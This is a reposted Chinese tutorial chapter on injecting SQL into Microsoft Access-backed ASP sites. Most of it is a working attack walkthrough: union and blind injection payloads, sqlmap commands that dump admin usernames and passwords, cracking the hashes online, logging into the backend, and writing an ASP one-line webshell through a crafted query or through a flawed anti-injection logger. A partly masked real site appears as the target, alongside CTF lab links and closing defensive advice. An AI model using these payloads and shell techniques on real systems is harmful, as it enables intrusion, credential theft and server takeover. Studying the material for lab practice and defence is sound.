分享好友 最新动态首页 最新动态分类 切换频道
sqlmap从入门到精通-第五章-5-1 使用sqlmap进行Access注入及防御
2024-12-25 17:10

5.1 使用sqlmap进行Access注入及防御

对于存在Access注入的站点,可以通过手工注入或者工具注入来获取Access数据库中的表内容,特别是获取网站后台管理表中的用用户名和密码

5.1.1 Access数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine和图形用户界面两项特点,是 Microsoft Office的系统程序之一。

1. Access数据库结构

Access数据库此阿勇表名-列名-内容数据,她跟其他数据库不一样,例如:MySQL,MSSQL,像这类数据库需要先创建数据库名,而Access数据库则不需要创建,因为她是个mdb格式的文件,一个库可以包含多个表

2. 操作Access数据库

默认情况下Office会安装Access组件来创建数据库,对数据库中的表实施管理操作,可以通过Access数据库访问工具进行操作

5.1.2 Access注入基础

1. Access注入基本流程

(1) 判断有无注入

(2) 猜解表名

(3) 猜解字段

(4) 猜解管理员字段值

(5) 猜解用户名和密码长度

(6) 猜解用户名和密码

(7) 破解加密密码

(8) 寻找并登录后台

2. 常见的注入工具

常见的SQL注入工具有“HDSI 3.0 Goldsun干净拓宽版”、“Domain”、“Safe3”、“啊D工具”、“管中窥豹”、Havij、pangolin、WebCruiser和SQLmap等。目前仅仅SQLmap是开源,出于安全考虑,建议用sqlmap工具进行access注入。

3. 常见的查询方式

(1) 联合查询法(速度快,兼容性不好)

* and 1=1 and 1=2 ——判断注入

* order by 22  ——猜有多少列(12正确,13错误,则为12个)

* union select 1,2,3,4,5,6,7,8,9,10,11,12from admin 猜表名(报错说明表名不存在,将admin表换成别的继续猜测)

union select 1,2,username,4,5,6,7,8,9,10,11,12 from admin 猜列名(列名位置放置页面上显示的数字位置上,报错说明列名不存在,换列明继续猜,列名猜对后及出账号密码)

(2) 逐字猜解法(速度慢,兼容性好)

* and 1=1 and 1=2 ——判断注入

* and exists (select * from admin) 猜表名

* and exists (select user_name from admin) 猜列名 查数据:1.确定长度 2.确定asc数据(asc编码)

* and (select top 1 len(user_name ) fromadmin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)

* and (select top 1 asc(mid(user_name ,1,1))from admin)=97 判断第一位 (97代表‘a’的ascll值)

* and (select top 1 asc(mid(user_name ,2,1))from admin)=97 判断第二位

(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位npass_word=a48e190fafc257d3)

4. 判断有无注入

(1) 粗略型:提交单引号’,id值-1、id值+1,判断页面显示信息不同或者出错信息。

(2) 逻辑型(数字型注入):and 1=1 , and 1=2;正常显示,内容与正常页面显示的结果基本相同;提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next);在数据库中是否执行,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据其结果来判断是否存在sql注入。

(3) 逻辑型(字符型注入):’and ’1′=’1/’ 、and ’1′=’2

(4) 逻辑型(搜索型注入):%’and 1=1 , and ‘%’='%/%’ , and 1=2 and ‘%’='%

5.1.3 sqlmap思路及命令

1. sqlmap Access注入操作指南

(1) 手工判断url是否存在SQL注入。通过在url传入参数处加入“’”、and 1=1、and 1=2等,查看页面是否出错,如果存在页面不一样或者有出错信息,则表明网站url存在sql注入。常见的错误信息如下:

Microsoft JET Database Engine 错误 ’80040e14′

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/view.asp,行 26

以上信息表明数据库采用Access数据库。

(2) 使用sqlmap进行检测注入点是否可用

Sqlmap命令:sqlmap.py –u url 

如果存在,则会提示进行相应操作,例如判断数据库中的表,如果不存在则无法继续。

(3) 检测表,执行“sqlmap.py –u url -- tables”命令来获取access数据库表,需要选择线程数,建议选择1-20之间,这个数过大,会导致网站无法打开。

(4) 获取数据库表内容

sqlmap.py –u url --tables --columns -T admin

如果存在管理员表admin,则可以通过以上命令来获取admin表中的列。

(5) 获取管理员admin表中的数据内容

sqlmap.py –u url --dump -T admin -C "username,password" 

通过(4)获取admin表中存在username和password列,通过dump参数来获取该表中的所有数据。也可以通过sqlmap.py –u url –sql-query=”select username,password from admin”来获取admin表中的内容,还可以通过sqlmap.py –u url –sql-shell来进行sql查询交互使用。

2. 一个完整的access注入过程命令

(1) 注入点判断:sqlmap.py-u http://www.xxx.com/index.asp?id=1

(2) 猜数据库表:sqlmap.py -u http://www.xxx.com/index.asp?id=1 –tables

输入线程:10,回车后开始跑表,找到合适的表后,按下ctrl+c终止跑表。

(3) 对某个表进行字段猜解

sqlmap.py-u ” http://www.xxx.com/index.asp?id=1” –tables –columns -Tadmin

例如获取admin表的字段如下: id,username,password

(4) 对admin表字段内容进行猜解

sqlmap.py -u " http://www.xxx.com/index.asp?id=1"--dump -T admin -C "username,password" 

(5) 获取明文密码或者加密密码。通过cmd5.com等在线网站进行明文密码破解。

(6) 寻找后台地址,并登录后台

(7) 通过后台管理寻求可以获取webshell的功能模块,尝试获取webshell。

知道web真实路径,且可以通过脚本执行查询,则可以通过查询来获取webshell,例如网站真实路径:d:freehostfred200903web,则查询语句为:

SELECT '<%execute request("a")%>' into [a] in ' D:freehostfred200903webx.asp;a.xls' 'excel 8.0;' from a Shell地址:http://www.somesite.com/x.asp;a.xls,一句话后门密码a,该shell对存在IIS解析漏洞的Windows服务器平台有效

5.1.4 Access 其他注入

1. Access POST登陆框注入

注入点:http://xxx.xxx.com/Login.asp

(1) 通过burpsurte抓包保存为txt文件,使用sqlmap进行自动注入例如对着注入点使用burp抓包,保存bmfx.txt文件,使用命令:

sqlmap.py -r bmfx.txt -p tfpasswd

(2) 自动搜索表单的方式 

sqlmap-u http://xxx.xxx.com/Login.asp --forms

(3) 指定一个参数的方法

sqlmap -u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"

2.Cookie注入

命令如下:

sqlmap -u "http://www.xxx.com/news.asp" --cookie "id=1" --table --level 2

5.1.5 Access SQL注入实战案例

此处实战可以直接使用墨者的靶机地址如下:

基础实战

SQL手工注入漏洞测试(Access数据库)

https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe

高级一点的实战

SQL注入实战(防注入)-Access

https://www.mozhe.cn/bug/detail/VjFKQktvazRNcTdOYkg2cElONVppUT09bW96aGUmozhe

1. 使用AWVS扫描站点

打开AWVS,新建扫描目标,如图1所示,执行WebScanner,扫描结束后可以看到其高危提示显示存在多个SQL盲注。依次展开,获取其详细url地址。在该结果中还可以看到28web目录,该目录后后台地址

2. 手工测试注入点

在url地址地址后加入一个单引号,其url经过编码后显示为%27也即在浏览器中直接访问:http://www.b********n.com/company.asp?id=9&cid=4%27,提示存在类型不匹配,说明可能存在SQL注入。

3. 使用sqlmap检测注入点

使用sqlmap.py –u http://www.xxx.com/company.asp?id=9&cid=4进行注入点检测, SQLMAP已经检测出该url存在SQL注入地址,获取操作系统版本可能是Windows 10或者Windows 2016,数据库为Access。获取Access数据库中表的命令:sqlmap.py –u http://www.b********n.com/company.asp?id=9 --table

4.获取admin表内容

(1) 获取数据库表admin的列名及其导出表内容

依次使用下面的命令来获取数据库表admin的列名及其导出其表内容:

sqlmap.py –u http://www.xxx.com/company.asp?id=9 --tables --columns -T admin

sqlmap.py –u http://www.xxx.com/company.asp?id=9 --dump -T admin –C

(2) 可以通过sql-shell参数来交互查询获取数据

sqlmap.py –u http://www.xxx.com/company.asp?id=9 --sql-shell

执行上面命令后,执行selectusername,password from admin查询来获取当前的所有用户及密码。

5. 登录后台地址

使用地址http://www.xxx.com/28web进行登录,如图6所示成功登录后台。在wvs扫描结果中可以看到有admin_chklogin.asp,所以28web为后台登陆地址。

6. sqlmap查询结果

sqlmap的日志文件以及数据库dump文件均在C:UsersAdministrator.sqlmapoutput argnet.com目录下。targnet.com为执行注入测试的名称。不同的用户需要修改Administrator为对应的用户名称

7. 技巧

可以使用sqlmap.py –u http://www.xxx.com/company.asp?id=9 –a --batch --smart自动获取所有信息。

5.1.6 SQL通用防注入系统ASP版获取webshell

在Access+ASP架构中,很多网站采用通用防注入系统来防范SQL注入攻击,该系统确实在一定程度上可以防范SQL注入,但是其设计存在一个重大的缺陷,将注入操作的URL数据写入ASP文件中,如果在内容中插入ASP一句话加密木马内容,就可以获取webshell

1. 来自CTF通过的提示

2. 测试语句

1 and 1=1 提示非法操作,同时记录了程序的操作IP,操作时间,操作页面,提交方式,提交参数,提示攻击者网站是有安全防护

3. 使用sqlmap绕过防火墙进行注入测试

经过测试通过使用sqlmap对URL地址进行绕过测试,并未成功

4. 使用加密的ASP一句话木马

此处作者使用的是加密的乱码一句话

5. 访问sqlin.asp

http://www.xxx.com/sqlin.asp

6. 获取webshell

使用菜刀连接 http://www.xxx.com/sqlin.asp

7. 获取key值

8. 漏洞分析

(1) news.asp文件

(2) SQL注入防范程序分析

(3) 安全建议

存在参数传入的地方一定要进行过滤,同时进行类型的严格检查和限定,在本例中使用SQL防范程序可以解决SQL注入,但是如果SQL防范程序存在缺陷的情况,将导致网站存在安全风险,本例可以将sqlin.asp修改为mdb文件也是可以避免

5.1.7 安全防御

(1) 对所有涉及传入参数进行过滤

(2) 使用SQL防注入代码

在连接数据库的下方加入SQL注入防范代码

(3) 使用WAF等防护软件

(4) 数据库登陆账户权限分开,采用最低授权原则

(5) 数据库连接账号要设置强健的密码

(6) 对网站进行安全检查及扫描,即使修复存在的漏洞,特别是禁止在网站根目录打包源代码,防止数据库等配置文件泄露

(7) 禁止在网站目录进行数据库备份

发现作者也把这篇文章发到互联网上去了,具体如下:

https://4hou.win/wordpress/?p=17495

 

最新文章
安卓恢复工具箱 Apeaksoft Android Toolkit v2.1.32 多语言绿色版
Apeaksoft Android Toolkit 绿色版是知软博客为大家搜集分享的一款功能专业好用的安卓设备恢复工具箱,集成了多种实用的功能,能够帮助用户以较为轻松的方式备份、恢复、传输数据,管理文件和应用程序,以及进行屏幕录制和截图等操作。目前
游戏代理0加盟费
游戏行业随着时代的进步而发展着,而游戏代理行业也逐渐走向完善,由于选择游戏代理创业的人多了起来,使得游戏代理的门槛也在降低,也导致游戏代理现在的鱼龙混杂,尤其是现在市场上出现很多游戏代理0加盟费的情况,这样的我们应该相信吗
银行数据宽表构建和描述分析
一、案例综述 案例编号: 102005案例名称: 银行数据宽表构建和描述分析作者姓名(或单位、或来源): 朱江案例所属行业: J662 货币银行服务 案例所用软件: R案例包含知识点: 宽表构建 数据描述 案例描述: 案例描述部分主要有两个内容
主打“情绪价值”,AI玩具站上新风口
互动聊天、讲故事、引导式提问……今年下半年以来,作为智能硬件“新秀”,AI玩具正密集落地,在市场引发强烈反响。AI玩具有望打开新赛道,不仅吸引了特斯拉、字节跳动等巨头发力,纷纷卖起自带大模型的“玩具”,还吸引了不少大厂前高管入
江西南昌专业微信小程序开发制作公司,本地化服务提供商
在快速发展的科技时代,众多企业都在寻找一家可信赖的江西微信开发制作公司。南昌的百恒信息技术有限公司已在该领域耕耘了17年。百恒的开发经验百恒信息技术有限公司拥有17年的技术积累。在这17年里,他们扎根南昌,不断学习,掌握了众多开
电脑城 GHOST XP SP3 2011 完美装机版 V6.0 (2011年.06月)免费软件全功能绿色商业破解版注册码下载
电脑城 GHOST XP SP3 2011 完美装机版 V6.0 (2011年.06月)免费软件七颠力争大智大勇上游八倒40. 在人生中,有时最好走的路不必须是大路,而是小路;在现实中,有时最便捷的路不必须是直路,而是折路。16.双方的论点 argument on both sides3
闪速清理手机版 v1.0.0 安卓版
闪速清理app是一款十分优质的手机智能清理优化软件,这款软件为大家提供了一个非常优质的手机垃圾清理功能,轻松一键即可快速清理掉手机中的各种垃圾文件,从而有效的释放手机运行内存,提升手机流畅度,非常的好用哦!闪速清理app是一个清
如何把word打印成试卷 试卷文档格式-word怎么打印成试卷格式
首先我们打开电脑里的Word软件,再单击左上角的office按钮标志。下拉菜单中,出现很多功能,单击第一项“新建”。出现新建文档,找到“我的模板”,单击一下。出现“我的模板”,系统给出了四种模板形式,单击一下第一个密封试卷模板,再单
如何制作符合百度SEO优化的站代码-站优化中最重要的步骤是什么
要想在百度上获得更好的排名,网站代码的优化是至关重要的。随着搜索引擎算法的不断更新,百度SEO的优化手段也在不断变化,但有一点始终不变,那就是网站的代码结构和页面加载速度直接影响搜索引擎的抓取效率与排要想在百度上获得更好的排
龙岗微网站建设/济南seo培训
内存是计算机的重要部件之一,它是外存与CPU进行沟通的桥梁,计算机中所有程序的运行都在内存中进行,内存性能的强弱影响计算机整体发挥的水平。JVM的内存结构规定Java程序在执行时内存的申请、划分、使用、回收的管理策略ÿ
相关文章
发表评论
0评